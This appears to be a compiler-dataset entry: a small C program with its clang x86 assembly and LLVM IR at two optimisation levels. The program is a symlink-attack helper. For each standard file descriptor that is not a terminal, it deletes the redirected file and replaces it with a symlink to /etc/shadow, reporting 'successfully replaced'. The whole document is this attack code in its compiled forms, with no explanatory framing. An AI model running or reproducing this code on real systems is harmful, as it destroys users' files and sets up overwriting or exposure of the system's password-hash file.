#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ outpath;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
scalar_t__ getpid();
int /*<<< orphan*/ printf(char *, ...);
int readlink(char *, char *, int);
int /*<<< orphan*/ sprintf(char *, char *, int, int);
scalar_t__ strncmp(char *, char *, int);
int symlink(char *, char *);
int unlink(char *);
int main(void) {
  int fd;
  char fdpath[256], outpath[256];
  FILE *fp;
  int len;
  for (fd = 0; fd <= 2; fd++) {
    printf("fd %d ...\n", fd);
    sprintf(fdpath, "/proc/%d/fd/%d", (int)getpid(), fd);
    len = readlink(fdpath, outpath, sizeof(outpath) - 1);
    if (len == -1) {
      printf("failed to readlink(2)\n");
      continue;
    }
    outpath[len] = '\0';
    if (strncmp(outpath, "/dev/", 5) == 0) {
      printf("skipping because it is connected to pts\n");
    } else {
      printf("trying to make symlink %s -> %s...\n", outpath, "/etc/shadow");
      if (unlink(outpath) == -1) {
        printf("failed to unlink(2)\n");
        continue;
      }
      if (symlink("/etc/shadow", outpath) == -1) {
        printf("failed to symlink(2)\n");
        continue;
      }
      printf("successfully replaced.\n");
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x230,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
cmpl   $0x2,-0x8(%rbp)
jg     12e7 <main+0x177>
mov    -0x8(%rbp),%esi
lea    0xe63(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x110(%rbp),%rax
mov    %rax,-0x228(%rbp)
mov    $0x0,%al
call   1060 <getpid@plt>
mov    -0x228(%rbp),%rdi
mov    %eax,%edx
mov    -0x8(%rbp),%ecx
lea    0xe3f(%rip),%rsi
call   1090 <sprintf@plt>
lea    -0x110(%rbp),%rdi
lea    -0x210(%rbp),%rsi
mov    $0xff,%edx
call   1050 <readlink@plt>
mov    %eax,-0x21c(%rbp)
cmpl   $0xffffffff,-0x21c(%rbp)
jne    120f <main+0x9f>
lea    0xe17(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
jmp    12d9 <main+0x169>
movslq -0x21c(%rbp),%rax
movb   $0x0,-0x210(%rbp,%rax,1)
lea    -0x210(%rbp),%rdi
lea    0xe05(%rip),%rsi
mov    $0x5,%edx
call   1040 <strncmp@plt>
cmp    $0x0,%rax
jne    1253 <main+0xe3>
lea    0xdf0(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
jmp    12d4 <main+0x164>
lea    -0x210(%rbp),%rsi
lea    0xdff(%rip),%rdi
lea    0xe1c(%rip),%rdx
mov    $0x0,%al
call   1070 <printf@plt>
lea    -0x210(%rbp),%rdi
call   1030 <unlink@plt>
cmp    $0xffffffff,%eax
jne    1297 <main+0x127>
lea    0xe05(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
jmp    12d9 <main+0x169>
lea    -0x210(%rbp),%rsi
lea    0xddf(%rip),%rdi
call   1080 <symlink@plt>
cmp    $0xffffffff,%eax
jne    12c6 <main+0x156>
lea    0xdeb(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
jmp    12d9 <main+0x169>
lea    0xdee(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
jmp    12d9 <main+0x169>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    1189 <main+0x19>
xor    %eax,%eax
add    $0x230,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
sub    $0x200,%rsp
lea    0xe6d(%rip),%rdi
xor    %esi,%esi
xor    %eax,%eax
call   1080 <printf@plt>
xor    %eax,%eax
call   1070 <getpid@plt>
lea    0xe61(%rip),%rsi
lea    0x100(%rsp),%rbx
mov    %rbx,%rdi
mov    %eax,%edx
xor    %ecx,%ecx
call   10a0 <sprintf@plt>
mov    %rsp,%rsi
mov    %rbx,%rdi
mov    $0xff,%edx
call   1060 <readlink@plt>
lea    0xee3(%rip),%r15
mov    %r15,%rdi
cmp    $0xffffffff,%eax
je     125a <main+0xda>
cltq
movb   $0x0,(%rsp,%rax,1)
lea    0xe30(%rip),%rsi
mov    %rsp,%rdi
mov    $0x5,%edx
call   1040 <strncmp@plt>
test   %rax,%rax
je     124a <main+0xca>
lea    0xe1d(%rip),%rdi
lea    0xe3a(%rip),%rdx
mov    %rsp,%r14
mov    %r14,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    %r14,%rdi
call   1030 <unlink@plt>
cmp    $0xffffffff,%eax
je     1253 <main+0xd3>
lea    0xe19(%rip),%rdi
mov    %rsp,%rsi
call   1090 <symlink@plt>
cmp    $0xffffffff,%eax
lea    0xe2a(%rip),%rax
lea    0xe0c(%rip),%rdi
cmove  %rax,%rdi
jmp    125a <main+0xda>
lea    0xe3f(%rip),%rdi
jmp    125a <main+0xda>
lea    0xe22(%rip),%rdi
call   1050 <puts@plt>
lea    0xd9a(%rip),%rdi
mov    $0x1,%esi
xor    %eax,%eax
call   1080 <printf@plt>
xor    %eax,%eax
call   1070 <getpid@plt>
lea    0xd8b(%rip),%rsi
lea    0x100(%rsp),%rbx
mov    %rbx,%rdi
mov    %eax,%edx
mov    $0x1,%ecx
call   10a0 <sprintf@plt>
mov    %rsp,%rsi
mov    %rbx,%rdi
mov    $0xff,%edx
call   1060 <readlink@plt>
mov    %r15,%rdi
cmp    $0xffffffff,%eax
je     132c <main+0x1ac>
cltq
movb   $0x0,(%rsp,%rax,1)
lea    0xd5e(%rip),%rsi
mov    %rsp,%rdi
mov    $0x5,%edx
call   1040 <strncmp@plt>
test   %rax,%rax
je     131c <main+0x19c>
lea    0xd4b(%rip),%rdi
lea    0xd68(%rip),%rdx
mov    %rsp,%rbx
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    %rbx,%rdi
call   1030 <unlink@plt>
cmp    $0xffffffff,%eax
je     1325 <main+0x1a5>
lea    0xd47(%rip),%rdi
mov    %rsp,%rsi
call   1090 <symlink@plt>
cmp    $0xffffffff,%eax
lea    0xd58(%rip),%rax
lea    0xd3a(%rip),%rdi
cmove  %rax,%rdi
jmp    132c <main+0x1ac>
lea    0xd6d(%rip),%rdi
jmp    132c <main+0x1ac>
lea    0xd50(%rip),%rdi
call   1050 <puts@plt>
lea    0xcc8(%rip),%rdi
mov    $0x2,%esi
xor    %eax,%eax
call   1080 <printf@plt>
xor    %eax,%eax
call   1070 <getpid@plt>
lea    0xcb9(%rip),%rsi
lea    0x100(%rsp),%rbx
mov    %rbx,%rdi
mov    %eax,%edx
mov    $0x2,%ecx
call   10a0 <sprintf@plt>
mov    %rsp,%rsi
mov    %rbx,%rdi
mov    $0xff,%edx
call   1060 <readlink@plt>
cmp    $0xffffffff,%eax
je     13fb <main+0x27b>
cltq
movb   $0x0,(%rsp,%rax,1)
lea    0xc8f(%rip),%rsi
mov    %rsp,%rdi
mov    $0x5,%edx
call   1040 <strncmp@plt>
test   %rax,%rax
je     13eb <main+0x26b>
lea    0xc7c(%rip),%rdi
lea    0xc99(%rip),%rdx
mov    %rsp,%rbx
mov    %rbx,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    %rbx,%rdi
call   1030 <unlink@plt>
cmp    $0xffffffff,%eax
je     13f4 <main+0x274>
lea    0xc78(%rip),%rdi
mov    %rsp,%rsi
call   1090 <symlink@plt>
cmp    $0xffffffff,%eax
lea    0xc89(%rip),%rax
lea    0xc6b(%rip),%r15
cmove  %rax,%r15
jmp    13fb <main+0x27b>
lea    0xc9e(%rip),%r15
jmp    13fb <main+0x27b>
lea    0xc81(%rip),%r15
mov    %r15,%rdi
call   1050 <puts@plt>
xor    %eax,%eax
add    $0x200,%rsp
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@.str = [11 x i8] c"fd %d ...\0A\00"
@.str.1 = [15 x i8] c"/proc/%d/fd/%d\00"
@.str.2 = [23 x i8] c"failed to readlink(2)\0A\00"
@.str.3 = [6 x i8] c"/dev/\00"
@.str.4 = [41 x i8] c"skipping because it is connected to pts\0A\00"
@.str.5 = [36 x i8] c"trying to make symlink %s -> %s...\0A\00"
@.str.6 = [12 x i8] c"/etc/shadow\00"
@.str.7 = [21 x i8] c"failed to unlink(2)\0A\00"
@.str.8 = [22 x i8] c"failed to symlink(2)\0A\00"
@.str.9 = [24 x i8] c"successfully replaced.\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca [256 x i8]
%4 = alloca [256 x i8]
%5 = alloca i32*
%6 = alloca i32
store i32 0, i32* %1
store i32 0, i32* %2
br label %7
7: ; preds = %51, %0
%8 = load i32, i32* %2
%9 = icmp sle i32 %8, 2
br i1 %9, label %10, label %54
10: ; preds = %7
%11 = load i32, i32* %2
%12 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 %11)
%13 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 0
%14 = call i64 (...) @getpid()
%15 = trunc i64 %14 to i32
%16 = load i32, i32* %2
%17 = call i32 @sprintf(i8* %13, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %15, i32 %16)
%18 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 0
%19 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%20 = call i32 @readlink(i8* %18, i8* %19, i32 255)
store i32 %20, i32* %6
%21 = load i32, i32* %6
%22 = icmp eq i32 %21, -1
br i1 %22, label %23, label %25
23: ; preds = %10
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0))
br label %51
25: ; preds = %10
%26 = load i32, i32* %6
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 %27
store i8 0, i8* %28
%29 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%30 = call i64 @strncmp(i8* %29, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %34
32: ; preds = %25
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([41 x i8], [41 x i8]* @.str.4, i64 0, i64 0))
br label %50
34: ; preds = %25
%35 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%36 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i8* %35, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
%37 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%38 = call i32 @unlink(i8* %37)
%39 = icmp eq i32 %38, -1
br i1 %39, label %40, label %42
40: ; preds = %34
%41 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.7, i64 0, i64 0))
br label %51
42: ; preds = %34
%43 = getelementptr inbounds [256 x i8], [256 x i8]* %4, i64 0, i64 0
%44 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i8* %43)
%45 = icmp eq i32 %44, -1
br i1 %45, label %46, label %48
46: ; preds = %42
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.8, i64 0, i64 0))
br label %51
48: ; preds = %42
%49 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.9, i64 0, i64 0))
br label %50
50: ; preds = %48, %32
br label %51
51: ; preds = %50, %46, %40, %23
%52 = load i32, i32* %2
%53 = add nsw i32 %52, 1
store i32 %53, i32* %2
br label %7
54: ; preds = %7
ret i32 0
}

LLVM IR (-O2):
@.str = [11 x i8] c"fd %d ...\0A\00"
@.str.1 = [15 x i8] c"/proc/%d/fd/%d\00"
@.str.3 = [6 x i8] c"/dev/\00"
@.str.5 = [36 x i8] c"trying to make symlink %s -> %s...\0A\00"
@.str.6 = [12 x i8] c"/etc/shadow\00"
@str = [23 x i8] c"successfully replaced.\00"
@str.10 = [21 x i8] c"failed to symlink(2)\00"
@str.11 = [20 x i8] c"failed to unlink(2)\00"
@str.12 = [40 x i8] c"skipping because it is connected to pts\00"
@str.13 = [22 x i8] c"failed to readlink(2)\00"
define i32 @main() {
%1 = alloca [256 x i8]
%2 = alloca [256 x i8]
%3 = getelementptr inbounds [256 x i8], [256 x i8]* %1, i64 0, i64 0
%4 = getelementptr inbounds [256 x i8], [256 x i8]* %2, i64 0, i64 0
%5 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 0)
%6 = call i64 (...) @getpid()
%7 = trunc i64 %6 to i32
%8 = call i32 @sprintf(i8* %3, i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %7, i32 0)
%9 = call i32 @readlink(i8* %3, i8* %4, i32 255)
%10 = icmp eq i32 %9, -1
br i1 %10, label %24, label %11
11: ; preds = %0
%12 = sext i32 %9 to i64
%13 = getelementptr inbounds [256 x i8], [256 x i8]* %2, i64 0, i64 %12
store i8 0, i8* %13
%14 = call i64 @strncmp(i8* %4, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
%15 = icmp eq i64 %14, 0
br i1 %15, label %24, label %16
16: ; preds = %11
%17 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i8* %4, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
%18 = call i32 @unlink(i8* %4)
%19 = icmp eq i32 %18, -1
br i1 %19, label %24, label %20
20: ; preds = %16
%21 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i8* %4)
%22 = icmp eq i32 %21, -1
%23 = select i1 %22, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @str.10, i64 0, i64 0), i8* getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0)
br label %24
24: ; preds = %20, %16, %11, %0
%25 = phi i8* [ getelementptr inbounds ([22 x i8], [22 x i8]* @str.13, i64 0, i64 0), %0 ], [ getelementptr inbounds ([40 x i8], [40 x i8]* @str.12, i64 0, i64 0), %11 ], [ getelementptr inbounds ([20 x i8], [20 x i8]* @str.11, i64 0, i64 0), %16 ], [ %23, %20 ]
%26 = call i32 @puts(i8* dereferenceable(1) %25)
%27 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 1)
%28 = call i64 (...) @getpid()
%29 = trunc i64 %28 to i32
%30 = call i32 @sprintf(i8* %3, i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %29, i32 1)
%31 = call i32 @readlink(i8* %3, i8* %4, i32 255)
%32 = icmp eq i32 %31, -1
br i1 %32, label %46, label %33
33: ; preds = %24
%34 = sext i32 %31 to i64
%35 = getelementptr inbounds [256 x i8], [256 x i8]* %2, i64 0, i64 %34
store i8 0, i8* %35
%36 = call i64 @strncmp(i8* %4, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
%37 = icmp eq i64 %36, 0
br i1 %37, label %46, label %38
38: ; preds = %33
%39 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i8* %4, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
%40 = call i32 @unlink(i8* %4)
%41 = icmp eq i32 %40, -1
br i1 %41, label %46, label %42
42: ; preds = %38
%43 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i8* %4)
%44 = icmp eq i32 %43, -1
%45 = select i1 %44, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @str.10, i64 0, i64 0), i8* getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0)
br label %46
46: ; preds = %42, %38, %33, %24
%47 = phi i8* [ getelementptr inbounds ([22 x i8], [22 x i8]* @str.13, i64 0, i64 0), %24 ], [ getelementptr inbounds ([40 x i8], [40 x i8]* @str.12, i64 0, i64 0), %33 ], [ getelementptr inbounds ([20 x i8], [20 x i8]* @str.11, i64 0, i64 0), %38 ], [ %45, %42 ]
%48 = call i32 @puts(i8* dereferenceable(1) %47)
%49 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 2)
%50 = call i64 (...) @getpid()
%51 = trunc i64 %50 to i32
%52 = call i32 @sprintf(i8* %3, i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %51, i32 2)
%53 = call i32 @readlink(i8* %3, i8* %4, i32 255)
%54 = icmp eq i32 %53, -1
br i1 %54, label %68, label %55
55: ; preds = %46
%56 = sext i32 %53 to i64
%57 = getelementptr inbounds [256 x i8], [256 x i8]* %2, i64 0, i64 %56
store i8 0, i8* %57
%58 = call i64 @strncmp(i8* %4, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
%59 = icmp eq i64 %58, 0
br i1 %59, label %68, label %60
60: ; preds = %55
%61 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([36 x i8], [36 x i8]* @.str.5, i64 0, i64 0), i8* %4, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
%62 = call i32 @unlink(i8* %4)
%63 = icmp eq i32 %62, -1
br i1 %63, label %68, label %64
64: ; preds = %60
%65 = call i32 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i8* %4)
%66 = icmp eq i32 %65, -1
%67 = select i1 %66, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @str.10, i64 0, i64 0), i8* getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0)
br label %68
68: ; preds = %64, %60, %55, %46
%69 = phi i8* [ getelementptr inbounds ([22 x i8], [22 x i8]* @str.13, i64 0, i64 0), %46 ], [ getelementptr inbounds ([40 x i8], [40 x i8]* @str.12, i64 0, i64 0), %55 ], [ getelementptr inbounds ([20 x i8], [20 x i8]* @str.11, i64 0, i64 0), %60 ], [ %67, %64 ]
%70 = call i32 @puts(i8* dereferenceable(1) %69)
ret i32 0
}